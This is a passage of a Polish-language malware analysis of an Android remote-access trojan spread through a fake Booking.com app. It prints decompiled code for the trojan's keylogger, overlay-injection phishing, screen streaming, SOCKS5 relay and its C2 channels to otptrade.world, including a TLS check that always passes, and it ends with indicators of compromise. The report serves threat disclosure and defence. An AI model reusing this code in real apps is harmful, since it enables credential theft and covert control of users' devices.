- jawnie inicjalizuje ochronę przed odinstalowaniem, mechanizmy monitorowania stanu, persystencję alarmów i logikę odzyskiwania WebSocket.
To nie wygląda jak zachowanie prostego modułu pobierającego. To logika inicjalizacji właściwego modułu RAT-a.
Finalne C2: rozdzielona architektura WebSocket control/data
Finalny etap hardkoduje pojedynczy host backendu, a następnie buduje z niego dwa niezależne kanały WebSocket:
private static final List<String> SERVER_HOSTS = CollectionsKt.listOf("otptrade.world");
private static String BUILD_TAG = "pulse_1";
private static final Set<String> CONTROL_MESSAGE_TYPES = SetsKt.setOf((Object[]) new String[]{"ping", "pong", "androidHandshake", "viewerHandshake", "command", "gesture", "viewerControl", "disableUninstallProtection", "enableUninstallProtection", "getKeylogs", "clearKeylogs", "getInstalledApps", "getDeviceState", "getKeyguardInfo", "switchClient", "requestClientList", "identification", "command_response", "vnc_screen_sharing_started", "vnc_screen_sharing_stopped", "vnc_screen_sharing_error", "vnc_screen_sharing_status", "websocket_health_report", "health_ping", "health_send_test", "websocket_recovery_report", "websocket_recovery_status", "permission_granted_notification", "permission_status_report", "accessibility_service_status", "socks5_enable", "socks5_status_request"});
private static final Set<String> DATA_MESSAGE_TYPES = SetsKt.setOf((Object[]) new String[]{"screenUpdate", "screenLayout", "screenFrame", "vncScreenFrame", "keylog_batch", "camera_frame", "camera_system_ready", "camera_command_response", "camera_status", "camera_status_response", "camera_error", "camera_unexpected_stop", "sms_batch", "sms_entry", "sms_status_update", "sms_detailed_status", "sms_permission_status", "sms_permission_error", "sms_command_response", "service_status", "power_mode_status", "power_status_response", "system_status", "enhanced_system_health", "installed_apps_response", "crash_report", "secure_app_click", "screen_state", "pattern_lock_completed", "pattern_lock_cancelled", "pattern_lock_triggered", "pattern_lock_test_triggered", "pattern_lock_status", "html_injection_triggered", "html_injection_displayed", "html_injection_dismissed", "html_injection_error", "html_injection_test_triggered", "html_templates_available", "html_injection_attempt_success", "html_injection_attempt_failed", "html_data_captured", "socks5_status", "socks5_tunnel_connected", "socks5_tunnel_disconnected"});
Adresy URL są konstruowane następująco:
private final String buildControlUrl(boolean useSSL) {
return (useSSL ? "wss" : "ws") + "://" + ((String) CollectionsKt.first(DualWebSocketManager.SERVER_HOSTS)) + ":8443/control?" + ("sessionId=" + DualWebSocketManager.this.sessionId);
}
private final String buildDataUrl(boolean useSSL) {
return (useSSL ? "wss" : "ws") + "://" + ((String) CollectionsKt.first(DualWebSocketManager.SERVER_HOSTS)) + ":8444/data?" + ("sessionId=" + DualWebSocketManager.this.sessionId);
}
Kod klienta dodaje też identyfikujące nagłówki:
return chain.proceed(chain.request().newBuilder().header("User-Agent", "AndroidClient-Control/1.0").header("X-Channel-Type", "control").header("X-Session-ID", this.this$0.sessionId).header("X-Device-ID", this.this$0.deviceId).build());
return chain.proceed(chain.request().newBuilder().header("User-Agent", "AndroidClient-Data/1.0").header("X-Channel-Type", "data").header("X-Session-ID", this.this$0.sessionId).header("X-Device-ID", this.this$0.deviceId).build());
i celowo osłabia weryfikację TLS:
private static final boolean applyC2SslTrust$lambda$24(String str, SSLSession sSLSession) {
return true;
}
Odzyskane finalne endpointy:
wss://otptrade.world:8443/control?sessionId=<uuid>wss://otptrade.world:8444/data?sessionId=<uuid>
Podział na control/data ma znaczenie, ponieważ tłumaczy szeroki zestaw możliwości tego modułu: polecenia są dostarczane osobnym kanałem niż dane o dużej objętości, takie jak keylogi, telemetria HTML injection czy kolejne klatki ekranu.
Co robi finalny payload
Odzyskany kod źródłowy etapu 3 pokazuje, że mamy do czynienia z rozbudowanym RAT-em wykorzystującym usługi ułatwień dostępu do sterowania urządzeniem.
Keylogging i przechwytywanie blokady ekranu
Keylogger jest inicjalizowany z listą wysokowartościowych kategorii pakietów:
private final Set<String> criticalPackages = SetsKt.setOf((Object[]) new String[]{"systemui", "settings", "bank", "pay", "wallet", "crypto", "binance", "coinbase", "whatsapp", "telegram", "messenger"});
private String currentPasswordFieldText = "";
private String currentPasswordFieldPackage = "";
private String currentPasswordFieldViewId = "";
private final long PASSWORD_FIELD_TIMEOUT = WorkRequest.DEFAULT_BACKOFF_DELAY_MILLIS;
private final CoroutineScope coroutineScope = CoroutineScopeKt.CoroutineScope(Dispatchers.getDefault().plus(SupervisorKt.SupervisorJob$default((Job) null, 1, (Object) null)));
private final ConcurrentHashMap<String, String> mainThreadCaptures = new ConcurrentHashMap<>();
private final int maxMainThreadCacheSize = 10;
private ExtractionStats extractionStats = new ExtractionStats(0, 0, 0, 0, 15, null);
public KeyloggerHandler(Context context, Executor executor, LogDispatcher logDispatcher) {
this.context = context;
this.backgroundExecutor = executor;
this.logDispatcher = logDispatcher;
Log.i(TAG, "KEYLOGGER DEBUG: KeyloggerHandler created and initialized");
queueLog$default(this, "KEYLOGGER_INIT", BuildConfig.APPLICATION_ID, TAG, "Keylogger initialized successfully", "Initialization test log", null, null, null, System.currentTimeMillis(), true, 224, null);
}
Dodatkowo przechwytywane są bezpośrednio zdarzenia klawiatury:
public final void handleKeyEvent(KeyEvent event) {
if (event.getAction() == 0) {
int keyCode = event.getKeyCode();
queueLog$default(this, "KEY_PRESS_LOCKSCREEN", "com.android.systemui", "LockScreen", "Key: " + KeyEvent.keyCodeToString(keyCode) + ", Char: '" + ((char) event.getUnicodeChar()) + '\'', "Key event captured", null, null, MapsKt.mapOf(TuplesKt.to("keyCode", String.valueOf(keyCode))), System.currentTimeMillis(), true, 96, null);
}
}
W połączeniu z obecnością PatternLockActivity, PINLockActivity i PasswordLockActivity oznacza to, że malware jest przygotowany do przechwytywania loginów i haseł, a nie tylko metadanych interfejsu.
HTML injection / overlay phishing
Finalny etap zawiera dedykowany manager HTML injection:
public final boolean triggerInjection(String packageName, String condition) {
if (!shouldInjectForPackage(packageName, condition)) {
Log.d(TAG, "Injection blocked or not configured for package: " + packageName);
return false;
}
InjectionConfig injectionConfig = this.injectionConfigs.get(packageName);
Intrinsics.checkNotNull(injectionConfig);
InjectionConfig injectionConfig2 = injectionConfig;
ConcurrentHashMap<String, TemplateInfo> concurrentHashMap = this.availableTemplates;
String lowerCase = injectionConfig2.getTemplateId().toLowerCase(Locale.ROOT);
Intrinsics.checkNotNullExpressionValue(lowerCase, "toLowerCase(...)");
TemplateInfo templateInfo = concurrentHashMap.get(lowerCase);
if (templateInfo == null) {
Log.w(TAG, "Template not found for injection: " + injectionConfig2.getTemplateId());
sendInjectionErrorToC2(packageName, injectionConfig2.getTemplateId(), "Template not found");
return false;
}
Log.i(TAG, "Triggering HTML injection: " + templateInfo.getDisplayName() + " for " + packageName);
try {
Intent intent = new Intent(this.context, (Class<?>) HtmlOverlayActivity.class);
intent.addFlags(268500992);
intent.putExtra(HtmlOverlayActivity.EXTRA_TEMPLATE_ID, templateInfo.getId());
intent.putExtra(HtmlOverlayActivity.EXTRA_PACKAGE_NAME, packageName);
intent.putExtra(HtmlOverlayActivity.EXTRA_PRIORITY, injectionConfig2.getPriority());
this.context.startActivity(intent);
recordInjection(packageName, templateInfo.getId(), condition);
sendInjectionNotificationToC2(packageName, templateInfo.getId(), condition);
return true;
} catch (Exception e) {
Log.e(TAG, "Failed to start HTML overlay activity", e);
sendInjectionErrorToC2(packageName, injectionConfig2.getTemplateId(), "Failed to start overlay: " + e.getMessage());
return false;
}
}
Do serwera C2 raportowana jest zarówno lista dostępnych szablonów, jak i same zdarzenia związane z wstrzyknięciem:
JSONObject jSONObject = new JSONObject();
jSONObject.put("type", "html_templates_available");
jSONObject.put("timestamp", System.currentTimeMillis());
JSONObject jSONObject2 = new JSONObject();
jSONObject2.put("template_count", this.availableTemplates.size());
jSONObject2.put("scan_time", this.lastScanTime);
jSONObject.put("type", "html_injection_triggered");
Kod jednoznacznie potwierdza obecność mechanizmów web inject oraz nakładek ekranowych, a nie jedynie pojedynczy, statycznie zaszyty ekran phishingowy.
Strumieniowanie ekranu
Moduł żąda uprawnienia do MediaProjection i po jego uzyskaniu uruchamia udostępnianie ekranu:
private final void requestScreenCapturePermission() throws JSONException {
Object systemService = getSystemService("media_projection");
Intrinsics.checkNotNull(systemService, "null cannot be cast to non-null type android.media.projection.MediaProjectionManager");
try {
startActivityForResult(((MediaProjectionManager) systemService).createScreenCaptureIntent(), this.REQUEST_CODE);
} catch (Exception e) {
Log.e(this.TAG, "Failed to launch screen capture intent", e);
sendErrorResponse("Failed to launch screen capture intent: " + e.getMessage());
finish();
}
}
if (resultCode == -1 && data != null) {
Log.i(this.TAG, "Screen capture permission granted.");
try {
startForegroundService(createServiceIntent(resultCode, data));
JSONObject jSONObject = new JSONObject();
jSONObject.put("type", "command_response");
jSONObject.put("command", "startScreenSharing");
jSONObject.put("success", true);
jSONObject.put("quality", this.quality);
jSONObject.put("frameRate", this.frameRate);
jSONObject.put("streamWidth", this.streamWidth);
jSONObject.put("overlayDetection", true);
DualWebSocketProvider.sendMessage$default(DualWebSocketProvider.INSTANCE, jSONObject, null, 2, null);
} catch (Exception e) {
Log.e(this.TAG, "Failed to start screen sharing service", e);
sendErrorResponse("Failed to start screen sharing service: " + e.getMessage());
}
}
Protokół definiuje również:
screenFramevncScreenFramescreenLayoutscreenUpdate
co odpowiada zarówno bezpośredniemu strumieniowaniu obrazu z ekranu, jak i pozyskiwaniu informacji o układzie oraz strukturze interfejsu.
Tunel SOCKS5
Moduł złośliwego oprogramowania udostępnia również tunel SOCKS5 sterowany za pośrednictwem infrastruktury C2:
this.config = config;
this.isEnabled.set(true);
this.shouldReconnect.set(true);
Log.i(TAG, "Enabling SOCKS5 tunnel to " + config.getRelayHost() + ':' + config.getRelayPort());
connect();
String strBuildTunnelUrl = socks5Config.buildTunnelUrl();
Log.i(TAG, "Connecting to relay: " + strBuildTunnelUrl);
this.webSocket = buildOkHttpClient(socks5Config.getUseTls()).newWebSocket(new Request.Builder().url(strBuildTunnelUrl).header("X-Device-ID", getDeviceId()).header("Authorization", "Bearer " + socks5Config.getAuthToken()).build(), new WebSocketListener() {
i identyfikuje się wobec przekaźnika handshake'iem zawierającym metadane urządzenia:
JSONObject jSONObject = new JSONObject();
jSONObject.put("type", "socks5Handshake");
JSONObject jSONObject2 = new JSONObject();
jSONObject2.put("device_id", getDeviceId());
jSONObject2.put("model", Build.MODEL);
jSONObject2.put("android_version", Build.VERSION.RELEASE);
jSONObject2.put("manufacturer", Build.MANUFACTURER);
Wyraźnie wskazuje to, że malware został zaprojektowany nie tylko do kradzieży danych, ale również do zdalnego dostępu oraz przekazywania ruchu sieciowego.
Podsumowanie
Analizowana próbka nie jest jedynie fałszywą aplikacją Booking Pulse ani prostym downloaderem. Nasza analiza pozwoliła odtworzyć pełny łańcuch infekcji, od phishingowej wiadomości po końcowy etap działania malware.
Pełna ścieżka techniczna wygląda następująco:
wiadomość phishingowa -> przekierowanie przez share.google/Yc9fcYQCgnKxNfRmH -> booking.interaction.lat/starting/ -> com.pulsebookmanager.helper -> przynęta WebView -> natywny loader l0a0cac5c.so -> natywny dekoder JNI i anti-analysis -> etap 2 odszyfrowany XOR-em jako APK io.cifnzm.utility67pu -> etap FH.svg odszyfrowany algorytmem RC4-like -> finalny RAT sterowany przez accessibility -> WebSocket C2 w otptrade.world
Finalny payload wspiera przechwytywanie poświadczeń, HTML injection, kradzież SMS-ów, strumieniowanie ekranu, użycie kamery, zdalną kontrolę urządzenia i przekaźnik SOCKS5. Innymi słowy, APK wykorzystujący motyw Booking.com stanowi jedynie widoczny punkt wejścia do znacznie bardziej rozbudowanego mechanizmu infekcji na Androidzie.
IOC
- Początkowe przekierowanie phishingowe:
https://share.google/Yc9fcYQCgnKxNfRmH - Strona phishingowa:
https://booking.interaction.lat/starting/ - Widoczna strona aktualizacji podszywająca się pod Booking:
https://booking.interaction.lat/update/ - Zewnętrzny APK:
com.pulsebookmanager.helper(Pulse) SHA256:d408588683b4e66bfe0b5bb557999844fe52d1bfbda6836a48e15290082a5d42 - Zrzucona biblioteka natywna:
l0a0cac5c.soSHA256:f9c176f04b7c4061480c037abd2e6aebb4b9b056952a29585c8b448b8ec81a0e - Endpoint używany przez etap zewnętrzny:
https://aplication.digital/receiving/stats/ - Zaszyfrowany plik etapu 2:
init_bundle_uzge.binSHA256:c11685cb53e264a90cbc749d04740c639c4cfdee794ab98cf16ebd007ceded3b - Zainstalowany APK etapu 2:
io.cifnzm.utility67pu(Google Play Services) SHA256:0cf04d3a3a5a148f6f707cd2bc24b38179e0dc4252b4706f77a4d5498cf2c3e9 - Ukryty zasób etapu 3:
FH.svg - Odszyfrowane archiwum etapu 3:
SHA256:
3243a74015df81c999e4d11124351519e5b0d9c99c03ccb12c207d9fa894a21e - Ukryty finalny
classes.dex: SHA256:4ad813a484038ad2a3e66121e276c969a1b78f9c0eca0d2acb296799ea128303 - Ukryty finalny
classes2.dex: SHA256:12713e00658fdfa9a6466d23d934a709ef8b549449877e94981029ec2e22cbc9 - Finalny host C2:
otptrade.world - Kanał sterujący:
wss://otptrade.world:8443/control?sessionId=<uuid> - Kanał danych:
wss://otptrade.world:8444/data?sessionId=<uuid>
